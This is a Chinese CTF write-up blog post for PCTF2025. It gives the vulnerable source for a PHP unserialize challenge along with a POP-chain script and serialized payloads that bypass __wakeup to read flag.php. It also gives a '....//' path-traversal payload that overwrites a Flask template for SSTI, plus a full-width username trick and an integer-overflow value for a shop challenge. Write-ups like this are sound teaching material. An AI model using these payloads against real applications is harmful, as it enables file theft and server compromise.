PCTF2025

本文最后更新于 2026年2月5日 晚上

unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
highlight_file(__FILE__);
//flag.php
class Logger {
public $log_file = 'app.log';
public $message;
public function log() {
file_put_contents($this->log_file, $this->message, FILE_APPEND);
}
}

class UserProfile {
public $username;
public $data = [];
public function __toString() { return $this->username; }
}

class TemplateEngine {
public $template_name;
public function render() { return "Rendering " . $this->template_name; }
}

class ReadFile {
public $filename;
public function __wakeup() {
if (strpos($this->filename, 'flag') !== false) {
$this->filename = 'index.php';
}
}
public function getFileContent() {
echo file_get_contents($this->filename);
}
}

class FileHandler {
public $source;
public function __invoke() {
return $this->source->getFileContent();
}
}

class TaskRunner {
private $task;
public function __construct($task) { $this->task = $task; }
public function run() {
call_user_func($this->task);
}
}

class Middleware {
public $next;
public function __destruct() {
if (isset($this->next)) {
$this->next->run();
}
}
}

if (isset($_GET['data'])) {
$serialized_data = $_GET['data'];
try {
unserialize($serialized_data);
} catch (Exception $e) {
echo "Error: " . $e->getMessage();
}
}
?>

链子比较简单,上面几个类都没有用,绕过wakeup就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class ReadFile {
public $filename;
}

class FileHandler {
public $source;
}

class TaskRunner {
public $task;
}

class Middleware {
public $next;
}

//Middleware -> TaskRunner -> FileHandler -> ReadFile

$a = new Middleware();
$a -> next = new TaskRunner();
$a -> next -> task = new FileHandler();
$a -> next -> task -> source = new ReadFile();
$a -> next -> task -> source -> filename = 'flag.php';
echo serialize($a);

//O:10:"Middleware":1:{s:4:"next";O:10:"TaskRunner":1:{s:4:"task";O:11:"FileHandler":1:{s:6:"source";O:8:"ReadFile":1:{s:8:"filename";s:8:"flag.php";}}}}

//O:10:"Middleware":1:{s:4:"next";O:10:"TaskRunner":1:{s:4:"task";O:11:"FileHandler":1:{s:6:"source";O:8:"ReadFile":2:{s:8:"filename";s:8:"flag.php";}}}}

这里注意先url编码再传参

ez_upload

一个文件上传、查看页面,文件上传之后并不能找到文件,但文件查看可以读取源码app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def index():
try:
with open('templates/index.html', 'r', encoding='utf-8') as f:
template_content = f.read()
return render_template_string(template_content)
except FileNotFoundError:
try:
with open('templates/error_template_not_found.html', 'r', encoding='utf-8') as f:
return f.read()
except:
return '<h1>错误</h1><p>模板文件未找到</p><a href="/upload">上传文件</a>'
except Exception as e:
try:
with open('templates/error_render.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, error_message=str(e))
except:
return '<h1>渲染错误</h1><p>' + str(e) + '</p><a href="/upload">上传文件</a>'

从这里可以发现渲染了templates/index.html,所以只需要把ssti覆盖写入即可

补充——路径穿越

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
UPLOAD_FOLDER = 'uploads'

def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('没有选择文件')
return redirect(request.url)

file = request.files['file']

if file.filename == '':
flash('没有选择文件')
return redirect(request.url)

if file and allowed_file(file.filename):
filename = file.filename
filename = filename.replace('../', '') #过滤
file_path = os.path.join(UPLOAD_FOLDER, filename) #文件路径

try:
file.save(file_path)
flash('文件 {} 上传成功!'.format(filename))
return redirect('/upload')
except Exception as e:
flash('文件上传失败: {}'.format(str(e)))
return redirect(request.url)
else:
flash('不允许的文件类型')
return redirect(request.url)

本题的目录结构大概如下

1
2
3
4
app.py
templates/
└── index.html
uploads/

想要覆盖index.html要用到目录穿越,但是它进行了过滤

1
payload:....//templates/index.html

神秘商店

注册admin发现已有用户,使用全角覆盖注册

image-20260205112640808

余额100,可以购买商品,增加余额(>=0)

使用整数溢出+4294967246

参考文献

C语言的整型溢出问题 int、long、long long取值范围 最大最小值「建议收藏」-腾讯云开发者社区-腾讯云


PCTF2025
https://www.sunynov.top/2026/02/03/PCTF2025/
作者
suny
发布于
2026年2月3日
许可协议